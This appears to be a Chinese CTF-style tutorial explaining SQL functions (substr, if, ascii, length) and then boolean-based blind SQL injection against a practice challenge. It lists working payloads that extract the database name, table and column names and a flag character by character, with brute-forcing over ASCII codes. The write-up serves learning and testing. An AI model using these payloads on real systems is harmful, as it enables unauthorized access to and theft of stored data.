一、sql基础
Substr
我们看一下用法1里面的str就是我们需要截取的字符,pos是需要截取的位置,len是我们需要截取的长度,例如右边的substr('123456',1,1)
意思就是截取’123456’从第一位开始截取,截取两位,到2为止,用法2里少了一个len,它就会默认从截取的位置开始,一直截取到最后一位:
if
我们看到用法里的select if(1>2,1,0);
因为1小于2不满足1大于2,于是呢就返回0:
Ascii
length
下面右边的例子中database()为web,执行后正确返回了web数据库名三个的长度:
二、布尔盲注
简介
练习
我们来看一下这道题:
我们先输入1返回了user:
加上单引号看看有没有sql注入,结果什么也没有:
我们再输入2,还是显示了user:
闭合一下试试,结果还是什么都没有,说明我们的闭合有问题:
把单引号删掉,重新出现了use,那么我们之前的union和报错注入都没办法使用了,这时我们就需要用到盲注:
猜长度
我们先来分析一下盲注的payload:
id=1 and length(database())=3%23
我们来测试一下,等于1没有回显:
等于3成功回显,说明我们猜对了,并正常输出:
猜数据
拿到前面的长度后,我们就可以来猜数据了:
id=1 and if((ascii(substr((select database()),1,1))=118),1,0)%23
我们直接来测试,我们第一次猜的118为v,服务器没有返回数据,说明是错的:
我们再猜119为w,服务器成功返回数据,那么数据库名的第一个字符就是w:
那么当然我们不可能是用手一个一个猜,我们使用爆破模块,使用add给119打上标记:
然后选择爆破类似为整数,起始为32到127,因为Ascii码的可见范围就是32~127,步数填1,执行后我们根据length的长度就直接找到了能成功回显的数据包为119:
我们接着猜第二位,我们只要把1改成2,就能开始第二位的爆破:
成功拿到第二位101,第三位也是同理:
猜数据库名
id=1 and if((ascii(substr((select database()),1,1))=118),1,0)%23猜表名长度
id=1 and if((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=8,1,0)%23猜表名
id=1 and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=118),1,0)%23猜列名长度
id=1 and if((select length(group_concat(column_name)) from information_schema.columns where table_name='flag')=7,1,0)%23猜列名
id=1 and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,1))=118),1,0)%23猜数据长度
id=1 and if(((select length(flag) from flag)=38),1,0)%23猜数据
id=1 and if((ascii(substr((select flag from flag),1,1))=102),1,0)%23
我们接着再猜表名的长度,把等于号后面的数字打上标记:
依旧选择数字,因为我们这是猜的表名长度,就选1~10:
成功拿到表名长度为9,拿表名、列名、数据都是同理,剩下的就不试了: